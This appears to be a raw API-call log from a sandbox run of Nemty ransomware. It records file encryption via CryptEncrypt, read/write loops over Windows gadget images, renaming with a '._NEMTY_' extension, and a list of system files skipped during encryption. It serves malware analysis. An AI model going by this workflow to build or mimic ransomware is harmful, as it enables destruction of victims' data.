GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13429fd0, dwHighDateTime=0x1d561e8)) [0160.413] GetLastError () returned 0x5 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.413] GetLastError () returned 0x5 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0160.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0160.413] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0160.413] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0160.413] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0160.413] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="+wK35tRtHddGaTY451sR3wpR7xH7yKimHvBOLwmNsGmezvrLHgxuEV4GqOEUNAiI\r\n1wZXaVa2lXptNJC4hfCeo2KGZBXZVSr+aXN2HHoykxuiRh6ycqrzo4QdXQOzg2d7\r\niVJAz6YydgsEOQEqrV7KtlSaql5P7DZlQkY0lefqYNDS7GARGUhjQBiGOqQXwEHt\r\ncs3Gxysn01FHyewENNqSWkUYDCcrv5XiHA3psvbeuSAr8hwivfXRElw/kyrgexnS\r\n1Y6Jn3dx00mqNsuaJnPSumrJgAeSfJEju8hjC8qp/ukWAGHzDxGtgjtRmbfQ36Rp\r\nOQaBsmkXsFwSO70OSME8PQ==\r\n", pcchString=0x653e91c) returned 1 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0160.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0160.413] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_hail.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_hail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0160.413] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0160.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0160.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.432] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0160.520] CloseHandle (hObject=0xffffffff) returned 0 [0160.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0160.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0160.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0160.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0160.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0160.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0160.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_hail.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_hail.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_hail.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_hail.png._nemty_kgobjgd_")) returned 0 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.521] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2=".") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="..") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="...") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="windows") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="$RECYCLE.BIN") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="rsa") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="NTDETECT.COM") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="ntldr") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="MSDOS.SYS") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="IO.SYS") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="boot.ini") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="boot.ini") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="AUTOEXEC.BAT") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="ntuser.dat") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="desktop.ini") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="CONFIG.SYS") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="RECYCLER") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="BOOTSECT.BAK") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="bootmgr") returned 1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="programdata") returned -1 [0160.521] lstrcmpiW (lpString1="docked_black_moon-first-quarter.png", lpString2="appdata") returned 1 [0160.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0160.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0160.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter.png", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-first-quarter.png", lpUsedDefaultChar=0x0) returned 35 [0160.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0160.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0160.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter.png", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-first-quarter.png", lpUsedDefaultChar=0x0) returned 35 [0160.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0160.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0160.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0160.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0160.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter.png", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-first-quarter.png", lpUsedDefaultChar=0x0) returned 35 [0160.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0160.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0160.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0160.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0160.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter.png", cchWideChar=35, lpMultiByteStr=0x6345640, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-first-quarter.png", lpUsedDefaultChar=0x0) returned 35 [0160.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0160.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340240 [0160.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0160.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0160.522] Sleep (dwMilliseconds=0x5) [0160.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1355aad0, dwHighDateTime=0x1d561e8)) [0160.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1355aad0, dwHighDateTime=0x1d561e8)) [0160.537] GetLastError () returned 0x5 [0160.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.537] GetLastError () returned 0x5 [0160.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0160.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0160.538] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0160.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340318 [0160.538] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340318, pcchString=0x653e91c | out: pszString="XRX39t18b5sBS7m2oVxw6Hnd2Uc+0kuuZFp0hhZx5WVEBRvVcq2CqjvBpRglIQ1G\r\n0ZmJ98W+Y6LJZF3t0TUxLY8xlBbXpSpDpx9zswQgajw58jTHqppZUxM8EmojBMyw\r\nFRsN0/fR6bM0hTzC+f63M/raxD5i7HUjHdqrL1SNBwzTB/Fn6IhD+epTQYH5gXqU\r\nunRA8rrk+w8jI8tPn+82WjYjIRd2TM3DYeLRne4YhZE7+l36iDAttX2C7wCFA46Y\r\nHNREa8RXuDRXMrnT415IUprUVqXnqIgL/yZvRuo75jZ+Nj82pp9n1SvFLuUr6rac\r\nURXtmpJyr93iSy2DHqIiTg==\r\n", pcchString=0x653e91c) returned 1 [0160.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 